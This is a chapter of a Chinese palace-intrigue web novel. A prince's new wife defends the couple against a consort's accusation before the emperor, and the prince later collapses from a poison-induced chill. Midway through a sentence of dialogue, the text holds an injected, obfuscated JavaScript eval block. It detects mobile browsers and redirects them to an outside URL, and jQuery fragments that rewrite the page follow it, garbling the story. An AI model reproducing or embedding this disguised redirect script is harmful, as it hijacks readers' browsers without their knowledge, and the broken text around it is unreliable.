厅中霎时一片寂静,唯有炭炉烧得正旺,毕剥作响。


    陆云殊手心薄汗乍起,低声问:“人在哪?”


    “回王妃,人在二门花厅里,已经坐了半个时辰了,等着带您去交差呢!”


    她攥紧手中的丝帕,猛然站起身,抬腿就要向外走。


    哪知方走了两步,便被庚珩拽住袍袖。


    “急什么。”


    庚珩抬头,示意她坐下。陆云殊依言坐在他身侧,一只纤手不自觉放在他的轮椅上摩..挲,抠着把手上一颗绿松石珠子,若有所思。


    “王妃再抠一会儿,我这椅子便要散架了。”


    头顶冷不丁传来声音,打断了陆云殊纷乱的思绪。


    忽地,她站起身来,抄起身旁婢女刚端上来的热茶就往外走。庚珩见她俯身将茶水倒掉一半,抓起一团雪丢在杯中,不觉笑出声来。


    “沁寒香,请王爷尝尝。”


    陆云殊将其中一杯推到庚珩身前,而后兀自灌了半杯冰凉的茶水,只觉得一股寒气自上而下将浑身浇了个通透,不禁打了个寒噤,咧嘴朝庚珩笑了一下。


    她本就容貌姝丽,方才出门遭寒风一吹,颊上便泛着些粉红,衬得更显清韵了。


    饶是庚珩这样的冷心冷面,也被她这一笑招惹到,拿杯子的手都迟滞了半分。


    “王爷,这雪水乃大寒之物,您怎么能……”


    裴山见势不对,开口阻拦,却被庚珩抬手打断。


    “王妃风雅,本王却之不恭。”


    庚珩言罢,也将那杯雪水送入口中,冰冷的液..体随着喉头滚动激得他睫毛轻颤,脸色更苍白了一些。


    然后,两人十分默契地对视一眼,吩咐婢女去取两件旧披风,给两人穿戴整齐,方出门去了花厅。


    来的是天子驾前的张桥公公,老人家年岁颇多,须发花白。滚烫的热茶灌下去三壶,也解不了一点儿寒气,现下冷得在花厅里搓手踱步,只恨不得撂了这差事回宫抱火炉。


    “哎哟我的两位祖宗可算来了!”


    张桥见庚珩坐在车上缓缓过来,隔了老远便俯身下拜。


    不等他跪到实处,裴山便一个箭步冲上去将他搀起来,口中不住地道歉,好话不重样地听了一箩筐。


    张桥则是默默瞧着那一站一坐的二人,一个披着藕荷色半新不旧的薄绒披风,一个将披风盖在腿上,身上只着旧袍,好一副凄惨模样。又想到自己在这挨了半天冻,更是气不打一处来,面上却不敢表现出来,只低着头邀二人上轿。


    -


    锦澜殿西暖阁内,地龙烧得火..热,皇帝正靠在金丝软枕上把..玩一柄玉如意,贝母窗上透出的雪色亮光映在他的脸上,留下淡淡光斑。


    下首的贞贵妃端坐在玫瑰椅上,面前是一只碧青色细颈瓶,她垂着眼,正慢条斯理地修剪一枝新贡的百合。


    满室寂寂,清脆有序的剪刀声,是室中唯一的响动。


    直到殿外通传声起,才打破这幅景象。


    轮椅停在殿外,庚珩由陆云殊和张桥搀着,艰难地踏进殿内。


    “儿臣庚珩,携新妇凌氏,叩见父皇。恭请父皇圣安……咳咳咳……”


    男人跪在毡毯上,未及起身,便咳得撕心裂肺。他强撑着起身,却又弯下腰去,苍白的脸瞬间涨出一片病态的薄红,像是要把心也呕出来似的。


    陆云殊赶忙俯身给他拍背,不料自己也剧烈咳嗽起来,单薄的身子晃了晃,险些站不住。


    突如其来的一出动静,惹得修剪花枝的贞贵妃蓦的一顿,座上的皇帝也抬眼过来,眼神中带着些愕然。


    “儿臣殿前失仪,望乞恕罪!”


    庚珩匀了匀气息,艰难地说出一句完整的话。


    宫人得令抱来两条锦褥,铺在二人的座椅上,又拿来两个手炉给二人捂手。


    贞贵妃见这一大群人忙前忙后,也放下金剪,拿丝帕净了手,冷眼看着陆云殊。


    “靖王与王妃这病,生得可真是时候。”


    庚珩掩面轻咳,恍若未闻,陆云殊也只是低头不语。


    皇帝将玉如意放在膝上,终于开口:“珩儿这是怎么了,如何新婚之夜便病得这样厉害,连件厚实衣物也没有?”


    老人家年逾古稀,喉间浑浊不清,因此声音不甚清晰,动作也迟缓轻慢,显然时日无多。


    如此,也怨不得贞贵妃如此心急。


    “回父皇。儿臣归来日浅,一应用度都由宫中内帑局拨放,想是临近年关,诸事冗杂,还未顾及。儿臣能回见天子已是大幸,不敢有求。”


    “如此,便是内帑局管事办事不利,该杀!”


    “并非如此!陛下!”


    贞贵妃连声截过话头,看向皇帝时,脸上已然一副委屈神色,娇声细语道:“陛下明鉴,内帑局一应发放皆有存档,给诸位王爷的吃用都是照例发送的,臣妾亦怜惜靖王久居在外,俸禄微薄,另加了许多,断不会出现无衣可穿的情况。定是靖王夫妇见金剪事情败露,乔装打扮来蒙骗皇上的!”


    她话音一转,将剪子掷到陆云殊脚下,问道:“昨儿个黄昏,我宫中下人亲眼见你换了两府的轿夫,上了荧儿的轿子,又在轿子里发现了这把金剪。如今轿夫已在牢中认罪,人证物证俱在,你还有何话说?”


    陆云殊立时起身跪下,向着上首皇帝拜道:“皇上明鉴。王爷行动需人搀扶,一到雪天便腿痛难忍,昨夜天降大雪,王爷在药池中一步未动。臣妾身为新妇,初入长安,人生地不熟,彷徨尚且不及,如何有能力换轿夫、放金剪,实在是冤了臣妾与王爷!”


    “好一张尖牙利嘴,真是惯会巧言令色颠倒黑白。依你所言,难道这金剪是本宫放的不成?我看你是居心叵测,其心可诛!”


    “够了!”


    御座上一直闭目听着的老皇帝骤然睁眼,苍老的脸上一片愠色。


    “金剪之事,朕自有决断。内帑局一干人等,也自有他们的赏惩。贞贵妃,你今日话多了。”


    老人气息微微,话语却十分掷地有声。天子威压之下,贞贵妃头也不敢抬起半分。


    他疲惫地挥挥手,示意众人退下。


    贞贵妃强作震惊,起身行礼告退,回头时却是狠狠剜了二人一眼,二人只当不知道,也见势告退,偌大的锦澜殿只余下张桥一人。


    陆云殊一面与裴山搀着庚珩蹒跚挪动,一面竖起耳朵听里面的动静。果不其然,张桥低低的声音透过厚重的帘布传了出来。


    “靖王府确实寒酸,丫头婆子们还穿着青布,可谓是裋褐不完。碳火也短缺,去这一趟着实把老奴冻得不行呢!”


    里头话音顿了一顿,踌躇道:“听说内帑局的执事大人,是贞贵妃的姑表兄弟……”


    陆云殊听到这里,不免笑出声,一面笑,一面将庚珩扶到轮椅上,推出宫去。


    -


    宫道上的雪时时有人打扫,走起来稳健不少。再加上解决了贞贵妃的发难,陆云殊心中也松快许多。


    檐上冰箸垂垂,盈着雪光,将这巍峨宫道妆裹得红粉晶莹,竟有些不似人间的清冷美感。


    陆云殊推着轮椅,忽然轻声开口:“陛下对王爷,还是有着舐犊之情的。你们脾性也相像,是难得的父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897274|192261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子默契呢。”


    这话说得极轻,恍如耳语。


    话音落下,心头却蓦地一刺。


    父子、君臣……若当年陛下对父亲也有如此的回护之情,陆家又何至如此……


    庚珩并不答话,脊背却几不可闻地僵了一瞬。他静静地望着扫雪的宫人,嘴角勾起一弯冷笑。


    若皇帝心中真有父子伦常,当年就不会杀母留子,让年仅七岁的他去多罗国为质子了。所谓舐犊情深,不过是人老多情而已。


    二人各怀心事,一时无言以对,只剩下轮椅转动的咯吱声。


    马车在宫外侯着,裴山先一步出去打点。就在将出最后一道宫门时,斜刺里突然冲出一个穿着大红锦缎棉袍的男孩,约莫八九岁,像颗裹着绸缎的炮仗,嬉笑着直直撞向轮椅。


    陆云殊躲闪不及,被这孩子撞了个趔趄。


    男孩似乎也受了惊,匆忙欠身道歉就一溜烟地跑了。


    陆云殊赶忙直起身想稳住轮椅,眸中却滚下热泪来。她有一个弟弟,最后一次见他,也是那个孩子的年纪。


    一滴滚烫的水珠毫无征兆地砸在她扶在轮椅的手背上。


    她竟在此时落了泪。


    庚珩缓缓抬头,他看到那颗泪珠在她下颌凝聚后坠落。也看到她飞快别过脸去,用冻得通红的手背,狠狠抹过眼睛。


    “哭什么。”


    庚珩忍不住开口,手上悄悄用力,攥紧了轮椅的把手。


    “没什么……想家了。”


    陆云殊抬起头,淡淡回应,声音已经稳了下来,只是眼眶还红着。


    庚珩默然片刻,风雪将他低沉的声音吹得有些模糊:“前尘旧事,既已无法更改,执着无益。”这话轻飘飘的,不知是说给她听,还是说给自己听。


    马车里寒意透骨,陆云殊裹紧身上的披风,凝眸问道:“王爷今日如此保我,可是需要我做什么?”


    庚珩沉默半晌,将腿上的披风也递给她披上,缓缓开口:“做好你的靖王妃。”


    陆云殊撇撇嘴,对这个回答不置可否,见他并不抗拒自己的提问,便将心中所想一股脑问了出来。


    “王爷既知桂香是昭王的人,为何还要留着她在府里监视你呢?再有,我已换了轿夫,又是怎么回转到靖王府的呢?金剪一直在我袖中并未落下,为何去往昭王府的车里也有一支呢?”


    她想知道的事情太多了,问题一个接一个地抛出去,却没有回应。


    她忍不住离男人更近了一点,伸手拽了拽他的袍袖,忽觉肩头一沉,庚珩竟歪倒下来,额角冰凉地抵在她颈侧。


    “王爷?”


    陆云殊轻声唤道。


    没反应。


    只见男人眉头紧蹙,面色煞白。不足一息功夫,手脚便都冷了下来。


    陆云殊大惊,不由得猛拍车厢喊裴山停车。


    裴山进来一看,也吃了一惊,动手将披风毡毯全都裹在庚珩身上。


    “王爷早年被多罗国歹人下了寒髓蛊,身子早已病入骨髓,全赖药池中的那几味药撑着。昨夜在药池中耗力劳神不说,早晨又喝了那碗雪水,衣裳也穿得不足,此刻定是寒气上逆,以致毒发晕厥了!”


    陆云殊触手所及,庚珩的皮肤果然冷得像冰,呼吸微弱,只剩下一具冰冷躯壳。


    她垂眸看向被他无意识攥紧的手腕,扣得太紧,已经有了些许青痕。


    这一刻,她忽然明白,自计划失败踏入靖王府开始,她的仇恨与生命,就和这个同样在冰窟里挣扎的男人,死死地捆在了一起。


    马车重新疾驰起来,窗外暮色四合。